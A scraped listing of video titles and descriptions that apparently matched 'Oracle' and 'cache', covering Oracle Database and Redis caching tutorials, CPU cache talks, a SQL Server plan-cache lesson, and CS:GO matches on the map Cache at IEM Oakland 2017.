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Full DB In-Memory Caching
 
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This is the first of two demonstrations about In-Memory caching new features, introduced in Oracle Database 12.1.0.2. This one illustrates the Full Database In-memory Caching feature enabling an entire database to be cached in memory when the database size is smaller than the buffer cache size. Caching and running a database from memory leads to huge performance benefits. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
CS:GO - NiP vs. FaZe [Cache] Map 5 - GRAND FINAL - IEM Oakland 2017
 
01:20:18
Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 582410 ESL Counter-Strike
Buffer Cache
 
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This video is part of the Udacity course "GT - Refresher - Advanced OS". Watch the full course at https://www.udacity.com/course/ud098
Views: 15046 Udacity
Caching In: Understand, Measure, and Use Your CPU Cache More Effectively
 
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Modern computationally intensive tasks are rarely bottlenecked by the absolute performance of your processor cores. The real bottleneck in 2013 is getting data out of memory. CPU caches are designed to alleviate the difference in performance between CPU core clock speed and main memory clock speed, but developers rarely understand how this interaction works or how to measure or tune their application accordingly. This session aims to address this by • Describing how CPU caches work in the latest Intel hardware • Showing what and how to measure in order to understand the caching behavior of software • Giving examples of how this affects Java program performance and what can be done to address poor cache utilization Author: Richard Warburton Richard Warburton is a software developer who loves solving complex problems, but actively challenges how much of software development is dealing with day-to-day trivialities. Having obtained a PhD in the area of compiler optimizations and static analysis, he has been applying his abilities in industry. Initially on bytecode analysis software, and more recently on Java performance tuning tools. He actively involves himself in the London Java Community, and its Java Community Process Committee. He has been helping with the push to improve and complete the JSR 310 API and the expand community engagement with JSR 335. View more trainings by Richard Warburton at https://www.parleys.com/author/richard-warburton Find more related tutorials at https://www.parleys.com/category/developer-training-tutorials
Views: 14509 Oracle Developers
Oracle Database Memory Serialization Control (latches & mutexes)
 
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Oracle Database Memory Serialization Control (latches & mutexes) teaches Oracle DBAs the ends and outs about Oracle memory structure control. Oracle effectively creates the illusion of simultaneous memory structure manipulation. And it's our job to ensure this illusion remains a mystery to our users. To help you keep this illusion real, in this seminar I will lead you into the mysterious world of Oracle memory structure serialization control by exploring latches and mutexes: what they are, how they work, how we monitor their performance, how we tell if there is a significant problem and how we systematically diagnose the situation. I think you will soon understand why I think Oracle serialization control rocks! For details go to http://www.orapub.com/video-seminar-serialization-control PART ONE of this seminar focuses on why latches and mutexes are so important to Oracle's operations and how Oracle uses latches and mutexes in its kernel code. I also dig into how Oracle's time model relates to latching. This enables you to properly diagnosis and communicate to others why or why not latches/mutexes are a significant performance issue. Finally, I get into how Oracle increases concurrency by effectively using multiple latches of the same type to increase memory structure concurrency. It's fascinating and very important for DBAs who want to pursue a career focused on Oracle performance tuning. PART TWO begins by focusing on advanced latch spin control and detailing three ways to identify the problem latch. Then I'll begin digging deep into mutexes, including why they are important, why Oracle began using them and the acquisition algorithm. I'll even get into advanced mutex control using Oracle instance parameters. We will observe Oracle using mutexes by operating system tracing Oracle processes. It's pretty cool and key for any DBA who wants to become a performance expert. What You Will Learn In Part 1 & 2 - Why Oracle processes must ensure serial access control to Oracle memory structures - What are Oracle latches and mutexes - How Oracle latches are different from mutexes - The latch and mutex acquisition algorithms - How L&M activity relates to Oracle's time model - How to monitor for real L&M problems using Oracle's time model and an AWR report - Steps to methodically approach diagnosing and coming up with performance solutions - The differences between latches and mutexes - How Oracle implement mutexes in its library cache - How to use advanced latch spin control - What options DBAs have to influence mutex behavior L&M = Latches And Mutexes Modules Part 1: 060 Oracle Serialization Control - Part 1 1. Why the simultaneous memory structure illusion must exist and why it works so well 2 Oracle processes, L&M and memory structures, the general L&M acquisition algorithm 3 L&M time accounting and how this relates to the Oracle time model and the AWR report 4. Oracle latch specifics: concurrency limitations, child latches, multiple latches and how latches "back off." Part 2: 062 Oracle Serializatoin Control - Part 2 1. Using latch specific spin count control to your advantage and three ways to identify the problem latch 2. Why mutexes are advantageous to increase concurrency 3. Detailing the Oracle mutex algorithm 4. Advanced mutex control and observering Oracle mutex usage in detail For more information to go www.orapub.com
Views: 2606 OraPub, Inc.
Efficient Function Calls From SQL (Part 4) : Scalar Subquery Caching vs PL/SQL Function Result Cache
 
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The fourth part of a mini-series of videos showing how you can improve the performance of function calls from SQL. In this episode, we compare Scalar Subquery Caching with the the Cross-Session PL/SQL Function Result Cache to see which we should use for best performance. For more information see: https://oracle-base.com/articles/misc/efficient-function-calls-from-sql#scalar-subquery-caching-revisited Website: https://oracle-base.com Blog: https://oracle-base.com/blog Twitter: https://twitter.com/oraclebase Cameo by Alex Gorbachev : Blog: http://www.oracloid.com/ Twitter: https://twitter.com/alexgorbachev Website: http://www.pythian.com/about/alex-gorbachev/ Cameo appearances are for fun, not an endorsement of the content of this video.
Views: 1508 ORACLE-BASE.com
CS:GO - Team Liquid vs. Renegades [Cache] - Group B Round 1 - IEM Oakland 2017
 
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Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 16953 ESL Counter-Strike
mousesports vs. BIG - IEM Oakland 2017 Closed Qualifier - Cache
 
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An der US-amerikanischen Westküste finden im November die IEM Oakland 2017 statt. Auch in diesem Jahr wird die Oracle Arena Ort des Geschehens sein. Am heutigen Montag finden die Qualifier für die beiden letzten verbleibenden Startplätze statt. Coverage: https://csgo.99damage.de/de/coverages/16789-iem-oakland-2017 Facebook: https://www.facebook.com/99DMG Twitter: https://twitter.com/99DamageDE
Views: 995 99DMGCSGO - VODs
Top 10 Entity Framework Features Every Developer Should Know (Web 106)
 
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Entity Framework (EF) has been making light work of data access, and it just keeps getting better with every release. EF Core improved many features from prior versions, as well as introduced brand new features. In this session, I cover the top 10 features of Entity Framework Core that every developer should know. Instructor: Philip Japikse (LinkedIn Learning & Microsoft MVP)
CS:GO - EnVyUs vs. fnatic [Cache] Map 2 - EU Qualifier Quarterfinal - IEM Oakland 2017
 
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The Qualifiers for IEM Oakland 2017 have arrived. Find out who will make the journey to the Oracle Arena, California November 18.-19.. Watch all of the qualifiers here: https://www.youtube.com/playlist?list=PLDaLNkCsG9Wl8xxtaU0fJg06j3wDDZiXe Get all the latest Oakland news and schedules: intelextrememasters.com/season-12/oakland/ Subscribe to ESLCS and never miss out on your favourite teams: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Follow us on Twitter and Facebook: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 6571 ESL Counter-Strike
What is Oracle Exadata?
 
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http://zerotoprotraining.com What is Oracle Exadata? This video provides on overview of Oracle Exadata Data Appliance
Views: 80653 HandsonERP
CS:GO - OpTic vs. Renegades [Cache] Map 1 - NA Qualifier Final - IEM Oakland 2017
 
01:01:31
The Qualifiers for IEM Oakland 2017 have arrived. Find out who will make the journey to the Oracle Arena, California November 18.-19.. Watch all of the qualifiers here: https://www.youtube.com/playlist?list=PLDaLNkCsG9Wl8xxtaU0fJg06j3wDDZiXe Get all the latest Oakland news and schedules: intelextrememasters.com/season-12/oakland/ Subscribe to ESLCS and never miss out on your favourite teams: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Follow us on Twitter and Facebook: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 2594 ESL Counter-Strike
Least Recently Used (LRU) Explanation
 
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This video will teach you what is LRU (least recently used) page replacement algorithm, what is page fault, page hit, disadvantages of LRU. First In First Out (FIFO/FCFS) video : https://youtu.be/UTXkbcJUY74 Find me here : Tumblr : https://www.tumblr.com/blog/priyanka0304 Google+ : https://plus.google.com/u/0/b/105970252005982916681/105970252005982916681/posts Twitter : https://twitter.com/AndroidAcademy1 Facebook : https://www.facebook.com/AndroidAcademy8?ref=hl
Views: 287766 Tech Academy
Oracle Exadata Smart Flash Cache
 
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Want to know what's so smart about Oracle Exadata Smart Flash Cache? This three minute video explains how Oracle Exadata Smart Flash Cache helps solve the random I/O bottleneck challenge and delivers extreme performance for consolidated database applications.
Views: 19009 Oracle Video
Oracle Coherence: Explaining the 3 Cache Types
 
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Copyright © 2015 Oracle and/or its affiliates. Oracle is a registered trademark of Oracle and/or its affiliates. All rights reserved. Other names may be registered trademarks of their respective owners. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the “Materials”). The Materials are provided “as is” without any warranty of any kind, either express or implied, including without limitation warranties or merchantability, fitness for a particular purpose, and non-infringement.
How to Cache Database Queries with Redis in Laravel - Redis Series Episode 4
 
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In this short episode, I show you how you can cache database queries for a certain period of time. This is really nice when you have data you know won't change during x period of time, because once it's in cache, Laravel knows to automatically skip the database query and immediately deliver the requested content from RAM. Super fast, super easy. Here's the complete project throughout all episodes: https://gitlab.com/Christf24/RedisCast/tree/master/ Next episode will go over tagging with Redis (for blog posts, movie genres, or whatever else). Previous episode (Counting page views, and creating a "Top Viewed Article" list on home page): https://www.youtube.com/watch?v=ZMjw5WFPG8c Next episode (Tagging articles, products, movies, etc..): http://youtu.be/L2keoHFThwY
Views: 21017 Christophe Limpalair
Buffer vs Cache | Linux buffer and Cache explained | Easy learning
 
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Differentiate between Buffer and Cache explained in a simple terms. Please like and support us.
Views: 785 Easy Learning
Replication vs Partitioning - Georgia Tech - Advanced Operating Systems
 
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Watch on Udacity: https://www.udacity.com/course/viewer#!/c-ud189/l-628828562/m-614258766 Check out the full Advanced Operating Systems course for free at: https://www.udacity.com/course/ud189 Georgia Tech online Master's program: https://www.udacity.com/georgia-tech
Views: 4896 Udacity
Performance Tuning of SGA using AMM in oracle 11gR2
 
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Hello friends in my today scenario i briefly explain how to manage and tune automatically SGA AND PGA via Automatic memory management feature that is release in 11gR2. #PerformanceTuning #SGA #AMM
Views: 6542 Oracle World
CS:GO - G2 vs. Team Liquid [Cache] - Group B Round 4 - IEM Oakland 2017
 
01:14:51
Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 26836 ESL Counter-Strike
Redo Logs in an Oracle Database - DBArch Video 11
 
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This video explains the concepts of Redo Log Groups and Files in an Oracle Database. You will understand how Oracle Instance uses Redo Buffers and Logwriter to keep the redo in Redo Logs. Our Upcoming Online Course Schedule is available in the url below https://docs.google.com/spreadsheets/d/1qKpKf32Zn_SSvbeDblv2UCjvtHIS1ad2_VXHh2m08yY/edit#gid=0 Reach us at [email protected]
Views: 13319 Ramkumar Swaminathan
Ninjas in Pyjamas vs. SK Gaming - IEM Oakland 2017 - Cache
 
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Heute Abend beginnt die IEM Oakland 2017 und ihr könnt wie immer live dabei sein. Zwölf der besten Teams der Welt spielen in zwei Gruppen eine Round-Robin-Phase und ermitteln die Playoff-Teilnehmer in der Oracle Arena - Heimat der Golden State Warriors. Coverage: https://csgo.99damage.de/de/coverages/16789-iem-oakland-2017 Facebook: https://www.facebook.com/99DMG Twitter: https://twitter.com/99DamageDE
Views: 612 99DMGCSGO - VODs
CS:GO - NiP vs. SK [Cache] Map 2 - Semifinal - IEM Oakland 2017
 
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Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 58364 ESL Counter-Strike
Whisper of the Worm | All 5 Secret Chest & Oracle Locations Guide
 
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HOW TO GET THE WHISPER OF THE WORM EXOTIC SNIPER RIFLE: https://www.youtube.com/watch?v=36g67SMiCVI Now that we've gotten the new Destiny 2 'Black Hammer', its time to focus on the 5 hidden chests within the Heroic version of the Whispers quest. Finding all 5 chests will grant you IO tokens, Blighted Essense (for the Whisper catalyst) and will summon 7 Oracles from the Vault of Glass at the Vex Portal. Popping these Oracles in the correct order grants you a final chest with an Enigmatic Schematic for an exotic ship, the IO-JYS data for the Sleeper catalyst, and more Blighted Essense. Battle Beaver, a high-performance custom controller manufacturer, is offering an 8% discount from your entire order using code "planetdestiny2" -- https://battlebeavercustoms.com/discount/PLANETDESTINY2 • https://www.facebook.com/destinynews.net • https://twitter.com/DestinyNews_net • http://www.twitch.tv/planet_destiny
Views: 126289 PlanetDestiny
CS:GO - NiP vs. FaZe [Cbble] Map 1 - GRAND FINAL - IEM Oakland 2017
 
01:00:46
Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 320566 ESL Counter-Strike
Automatic Big Table Caching
 
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This is the second of two demonstrations about In-Memory caching new features, introduced in Oracle Database 12.1.0.2. This one illustrates the Automatic Big Table caching feature enhancing the in-memory parallel query capabilities of the Oracle Database in both single instance and Oracle RAC environments. An optional section of the buffer cache, called the big table cache, is used to store data for serial and parallel table scans. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
CS:GO - NiP vs. FaZe [Cache] Mapa 5 - Gran Final - IEM Oakland 2017
 
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Ha llegado la tercera parada de Intel® Extreme Masters, IEM Oakland. Durante el fin de semana, el Oracle Arena se llenará con miles de fanáticos dispuestos a disfrutar de la acción con CS:GO profesional. Lista de reproducción oficial: https://www.youtube.com/playlist?playnext=1&list=PL9I0LlR_-fvRIAFiwKxOT8BESo6nwZ_8y Mantente actualizado sobre las últimas noticias e información de IEM: https://intelextrememasters.com/season-12/oakland/ Síguenos en: ESL España Twitter: http://www.twitter.com/ESLspain ESL España Twitch: http://twitch.tv/ESL_csgo_es ESL España Facebook: http://facebook.com/ESLspain ESL España: http://play.eslgaming.com/spain Os animamos a que os suscribáis si os gusta el contenido y nos comentéis vuestras opiniones o dudas. Gracias a vosotros la comunidad crece día a día.
Views: 10998 ESL España
CS:GO - EnVyUs vs. The MongolZ [Cache] - Group A Round 2 - IEM Oakland 2017
 
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Intel® Extreme Masters has arrive for the 3rd stop of Season 12, IEM Oakland. Over the weekend the Oracle Arena will be filled with thousands of roaring fans who will lift the roof for world class CS:GO action. Catch up on all the games: https://www.youtube.com/playlist?list=PLDaLNkCsG9WlNguN686uM-2raUrRZVu4h Subscribe to ESLCS and never miss the action: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Keep up to date on all the latest IEM news and information: https://intelextrememasters.com/season-12/oakland/ Follow & Contribute: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 20856 ESL Counter-Strike
Redis Beginner Tutorial 1 - What is REDIS
 
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Today we will learn redis from scratch REDIS = remote dictionary server What is redis ? Redis is a KEY-VALUE store a store/server that stores data as key-value pairs e.g. Name=John Key=Value this key-value store can be used as a database to read and write data as key-values Features: Its a No-SQL db Uses data structures to store data Interaction with data is command based Its an in-memory db (with persistence options) Salvatore Sanfilippo (original developer) May 10, 2009 (first release) Cross Platform (written in ANSI C) Open Source References. https://redis.io/ Redis Playlist - https://www.youtube.com/playlist?list=PLhW3qG5bs-L8n1fsiT8z_VnDhnUk4vaVq Like on Facebook - https://www.facebook.com/automationst... Subscribe on: Youtube - http://youtube.com/automationstepbystep ________ ONLINE COURSES TO LEARN ________ Visit - http://automationstepbystep.com/ ------------ UI TESTING ------------ Selenium Beginners - https://bit.ly/2MGRS8K Selenium Java Framework from Scratch - https://bit.ly/2N9xvR6 Selenium Python - https://bit.ly/2oyMp5x Selenium Tips - https://bit.ly/2owxc50 Selenium Builder - https://bit.ly/2MKNtlq Katalon Studio - https://bit.ly/2wARFdi Robot Framework - https://bit.ly/2Px6Ue9 ------------ API TESTING ------------ Web Services (API) - https://bit.ly/2MGafL7 SoapUI - https://bit.ly/2MGahmd Postman - https://bit.ly/2wz8LrW General - https://bit.ly/2PYdwmV ------------ MOBILE TESTING ------------ Mobile Playlist - https://bit.ly/2PxpeUv ------------ CI | CD | DEVOPS ------------ Jenkins Beginner - https://bit.ly/2MIn8EC Jenkins Tips & Trick - https://bit.ly/2LRt6xC Docker - https://bit.ly/2MInnzx ------------ VERSION CONTROL SYSTEM ------------ Git & GitHub - https://bit.ly/2Q1pagY ------------ PERFORMANCE TESTING ------------ JMeter Beginner - https://bit.ly/2oBbtIU JMeter Intermediate - https://bit.ly/2oziNVB JMeter Advanced - https://bit.ly/2Q22Y6a JMeter Tips & Tricks - https://bit.ly/2NOfWD2 Performance Testing - https://bit.ly/2wEXbLS ------------ JAVA ------------ Java Beginners - https://bit.ly/2PVUcXs Java Tips & Tricks - https://bit.ly/2CdcDnJ ------------ MAVEN ------------ Maven - https://bit.ly/2NJdDRS ------------ OTHERS ------------ Redis- https://bit.ly/2N9jyCG Misc - https://bit.ly/2Q2q5xQ Tools & Tips - https://bit.ly/2oBfwoR QnA Friday- https://bit.ly/2NgwGpw Sunday Special - https://bit.ly/2wB23BO Ask Raghav- https://bit.ly/2CoJGWf Interviews - https://bit.ly/2NIPPxk All Playlists - https://bit.ly/2LSiezA ------------ FOLLOW ------------ Facebook - https://www.facebook.com/automationstepbystep Twitter - https://twitter.com/automationsbs Youtube - http://youtube.com/automationstepbystep
Arch1: Intro to coherence
 
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Table of Contents: 00:00 - Fundamentals of parallel computer architecture, part 1 Coherence and Consistency 00:12 - Consistency vs Coherence 02:06 - Outline 02:27 - Programming Model: 02:58 - Adding Caches: More Concurrency 03:30 - Caches: Automatic Replication of Data 05:18 - The Cache Coherent Memory System 06:01 - The Cache Coherent cache-to-cache transfer 06:43 - Summing up Coherence 06:44 - Summing up Coherence 07:43 - Where does coherence matter? 10:01 - Summary Coherence 11:39 - Slide 12
Views: 7567 Mats Brorsson
Web Application Architecture - Load Balancing and Caching
 
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Watch Part 3 of Web Application Architecture here: https://youtu.be/fW4DrKBO98w High Availability is the thing you would require when your app gets famous and people start to depend on it. In this video, we will learn about load balancing and caching to prepared web applications for the worst. Follow me on: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Facebook: https://facebook.com/raynstudios Twitter: @rajat1saxena Quora: https://www.quora.com/profile/Rajat-Saxena-45 Website: https://medium.com/rayn-studios ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Email me your queries at: [email protected]
Views: 14314 Rayn Studios
Oracle Business Intelligence Server Caching | Robin Moffatt
 
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Oracle ACE Robin Moffatt, Principal Consultant and Trainer with Rittman Mead, packs his tech tip with advice on what, when, and how to use Oracle BI Server Caching.
L2 vs L3 Cache memory - In Short
 
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L2 vs L3 Cache memory - In Short This is a short video describing the differences between an L2 cache and an L2 cache and their significance in a system which is often overlooked. Do Subscribe if you don’t wanna miss our future videos! 😊 Thank you for watching! Contact Information and Credits- "Facebook" - https://www.facebook.com/wheelsandchips "Twitter Handle" - https://twitter.com/wheelsandchips "My personal Twitter handle" - https://twitter.com/abhishekibt - The Wheels and Chips Journal @ wheelsandchips
Webinar: All About the Function Result Cache
 
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Presented by Steven Feuerstein, Oracle Corporation The function result cache, added in Oracle Database 11g, offers developers a way to dramatically reduce the amount of time it takes to retrieve data requested repeatedly by database sessions (specifically, when the same rows of a table are fetched much more frequently than they are changed). This cache is stored in the SGA, shared across all sessions in the instance, and automatically purged of "dirty data" by the Oracle Database. Every application running on 11.1 or higher should be taking advantage of this feature. Best of all, there is minimal impact on your code to start using this feature.
Views: 1046 ODTUG
Sql server query plan cache
 
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Text version of the video http://csharp-video-tutorials.blogspot.com/2017/04/sql-server-query-plan-cache.html Slides http://csharp-video-tutorials.blogspot.com/2017/04/sql-server-query-plan-cache_12.html All SQL Server Text Articles http://csharp-video-tutorials.blogspot.com/p/free-sql-server-video-tutorials-for.html All SQL Server Slides http://csharp-video-tutorials.blogspot.com/p/sql-server.html All SQL Server Tutorial Videos https://www.youtube.com/playlist?list=PL08903FB7ACA1C2FB All Dot Net and SQL Server Tutorials in English https://www.youtube.com/user/kudvenkat/playlists?view=1&sort=dd All Dot Net and SQL Server Tutorials in Arabic https://www.youtube.com/c/KudvenkatArabic/playlists In this video we will discuss 1. What happens when a query is issued to SQL Server 2. How to check what is in SQL Server plan cache 3. Things to consider to promote query plan reusability What happens when a query is issued to SQL Server In SQl Server, every query requires a query plan before it is executed. When you run a query the first time, the query gets compiled and a query plan is generated. This query plan is then saved in sql server query plan cache. Next time when we run the same query, the cached query plan is reused. This means sql server does not have to create the plan again for that same query. So reusing a query plan can increase the performance. How long the query plan stays in the plan cache depends on how often the plan is reused besides other factors. The more often the plan is reused the longer it stays in the plan cache. How to check what is in SQL Server plan cache SELECT cp.usecounts, cp.cacheobjtype, cp.objtype, st.text, qp.query_plan FROM sys.dm_exec_cached_plans AS cp CROSS APPLY sys.dm_exec_sql_text(plan_handle) AS st CROSS APPLY sys.dm_exec_query_plan(plan_handle) AS qp ORDER BY cp.usecounts DESC As you can see we have sorted the result set by usecounts column in descending order, so we can see the most frequently reused query plans on the top. usecounts - Number of times the plan is reused objtype - Specifies the type of object text - Text of the SQL query query_plan - Query execution plan in XML format To remove all elements from the plan cache use the following command DBCC FREEPROCCACHE In older versions of SQL Server up to SQL Server 6.5 only stored procedure plans are cached. The query plans for Adhoc sql statements or dynamic sql statements are not cached, so they get compiled every time. With SQL Server 7, and later versions the query plans for Adhoc sql statements and dynamic sql statements are also cached. Things to consider to promote query plan reusability For example, when we execute the following query the first time. The query is compiled, a plan is created and put in the cache. Select * From Employees Where FirstName = 'Mark' When we execute the same query again, it looks up the plan cache, and if a plan is available, it reuses the existing plan instead of creating the plan again which can improve the performance of the query. However, one important thing to keep in mind is that, the cache lookup is by a hash value computed from the query text. If the query text changes even slightly, sql server will not be able to reuse the existing plan. For example, even if you include an extra space somewhere in the query or you change the case, the query text hash will not match, and sql server will not be able find the plan in cache and ends up compiling the query again and creating a new plan. Another example : If you want the same query to find an employee whose FirstName is Steve instead of Mark. You would issue the following query Select * From Employees Where FirstName = 'Steve' Even in this case, since the query text has changed the hash will not match, and sql server will not be able find the plan in cache and ends up compiling the query again and creating a new plan. This is why, it is very important to use parameterised queries for sql server to be able to reuse cached query plans. With parameterised queries, sql server will not treat parameter values as part of the query text. So when you change the parameters values, sql server can still reuse the cached query plan. The following query uses parameters. So even if you change parameter values, the same query plan is reused. Declare @FirstName nvarchar(50) Set @FirstName = 'Steve' Execute sp_executesql N'Select * from Employees where [email protected]', N'@FN nvarchar(50)', @FirstName One important thing to keep in mind is that, when you have dynamic sql in a stored procedure, the query plan for the stored procedure does not include the dynamic SQL. The block of dynamic SQL has a query plan of its own. Summary: Never ever concatenate user input values with strings to build dynamic sql statements. Always use parameterised queries which not only promotes cached query plans reuse but also prevent sql injection attacks.
Views: 21994 kudvenkat
CS:GO - OpTic vs. NRG [Cache] Map 3 - NA Qualifier Semifinal - IEM Oakland 2017
 
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The Qualifiers for IEM Oakland 2017 have arrived. Find out who will make the journey to the Oracle Arena, California November 18.-19.. Watch all of the qualifiers here: https://www.youtube.com/playlist?list=PLDaLNkCsG9Wl8xxtaU0fJg06j3wDDZiXe Get all the latest Oakland news and schedules: intelextrememasters.com/season-12/oakland/ Subscribe to ESLCS and never miss out on your favourite teams: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Follow us on Twitter and Facebook: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 749 ESL Counter-Strike
SQL vs Oracle
 
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What's better? Oracle 11g or Microsoft SQL Server 2005? You decide!?!?!? http://www.databasetastechallenge.com
Views: 185 newversiontest
G2 Esports vs. Team Liquid - IEM Oakland 2017 - Cache
 
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Heute Abend beginnt die IEM Oakland 2017 und ihr könnt wie immer live dabei sein. Zwölf der besten Teams der Welt spielen in zwei Gruppen eine Round-Robin-Phase und ermitteln die Playoff-Teilnehmer in der Oracle Arena - Heimat der Golden State Warriors. Coverage: https://csgo.99damage.de/de/coverages/16789-iem-oakland-2017 Facebook: https://www.facebook.com/99DMG Twitter: https://twitter.com/99DamageDE
Views: 232 99DMGCSGO - VODs
Oracle Database In-Memory Demo
 
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Juan Loaiza, Senior Vice President, explains everything you need to know about Oracle Database In-Memory using the Wikipedia demo
CS:GO - OpTic vs. Torqued [Cache] Map 1 - NA Qualifier Quarterfinal - IEM Oakland 2017
 
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The Qualifiers for IEM Oakland 2017 have arrived. Find out who will make the journey to the Oracle Arena, California November 18.-19.. Watch all of the qualifiers here: https://www.youtube.com/playlist?list=PLDaLNkCsG9Wl8xxtaU0fJg06j3wDDZiXe Get all the latest Oakland news and schedules: intelextrememasters.com/season-12/oakland/ Subscribe to ESLCS and never miss out on your favourite teams: https://www.youtube.com/channel/UCPq2ETz4aAGo2Z-8JisDPIA?sub_confirmation=1 Follow us on Twitter and Facebook: http://www.twitter.com/eslcs http://www.facebook.com/eslcs
Views: 8364 ESL Counter-Strike
Oracle Exadata vs SAP Hana :Heuristics Informatics
 
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Oracle’s Engineered systems are optimized to accomplish increased productivity and supreme high enterprise performance levels in the industry. These include Oracle Exadata Database Machine, Exalogic Elastic Cloud, SuperCluster, Exalytics In-Memory Machine and Big Data Appliance are designed, engineered and verified to decrease the cost and complexity of IT infrastructures while increasing performance and productivity. The components of Oracle Engineered Systems are pre-integrated for targeted functionality and enhanced to accomplish enterprise performance levels. We at HIPL combine our focus with the power of Oracle Engineered Systems in expanding the operational productivity of our clients business. About Exadata: Exadata is a database appliance designed by Oracle that has the competency to provide support to a combination of database systems such as OLTP (On-line Transaction Processing) and OLAP (Online Analytical Processing), the transactional and analytical database systems respectively. Exadata offers its users an enhanced functionality relating to enterprise class databases and their associated workloads. Why Exadata? : The Oracle Exadata Database Machine is the World’s most secure database machine. It is engineered to be the top performing and best available platform for running the Oracle Database. This simple and fast to implement machine protects and powers your most important database and is the perfect foundation for a consolidated database cloud. When to use Exadata? : Oracle Exadata is best for customers who consider data warehousing and consolidation of database. Enterprises targeting faster growth and striving to become more responsive to market fluctuations and client requirements, must implement pioneering technologies like Oracle Exadata. HIPL Methodology for Exa adoption Architecture Assessment and Roadmap for EXA Adoption: Assessment of your database architecture Assessment of your EXA adoption TCO and ROI Assessment of your migration path to EXA Assessment of potential areas of pitfalls and database design considerations to ensure we maximize for full potential of Oracle EXA Assessment of Oracle license implications and optimization of existing license inventory Assessment of existing BI setup Identification of performance bottlenecks Identifying use cases for Exalytics Deployment Planning: Project management and risk assessment Review of your application architecture & Review of your data architecture Review of application workload profile High availability and data loss requirements confirmation with SLA Disaster recovery planning Configuration: Oracle EXA configuration Partitioning configuration HCC compression enablement Smart Scan testing and optimization Smart Flash Cache testing and optimization Overall EXA Performance testing EXA security review and lockdown Oracle backup and recovery configuration for EXA Oracle Enterprise Manager Grid Control Monitoring configuration for EXA Oracle Data Guard DR replication configuration for EXA Expert Services Analyse current reporting for aggregates Create effective aggregates Migration & Roll-out: Migration to Oracle EXA from any Oracle database version or OS GoldenGate Zero Downtime migrations from any Oracle database Production roll-out support 24×7 EXA Database Machine support services including proactive preventative maintenance EXA monitoring and optimization Contact us- www.hipl.co.in
SAP UI5 HANA vs Oracle APEX In Memory
 
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Juergen Schuster an independent consultant talks about his decision to train on SAP HANA and UI5, along with his subsequent choice on should he stick with Oracle APEX and the Oracle Database 12c In-Memory option or not, even though it meant leaving money on the table. #LetsWreckThisTogether #ORCLAPEX
Views: 581 Todd Trichler
What is Oracle Service Bus & How to install and configure Oracle Service Bus 12c
 
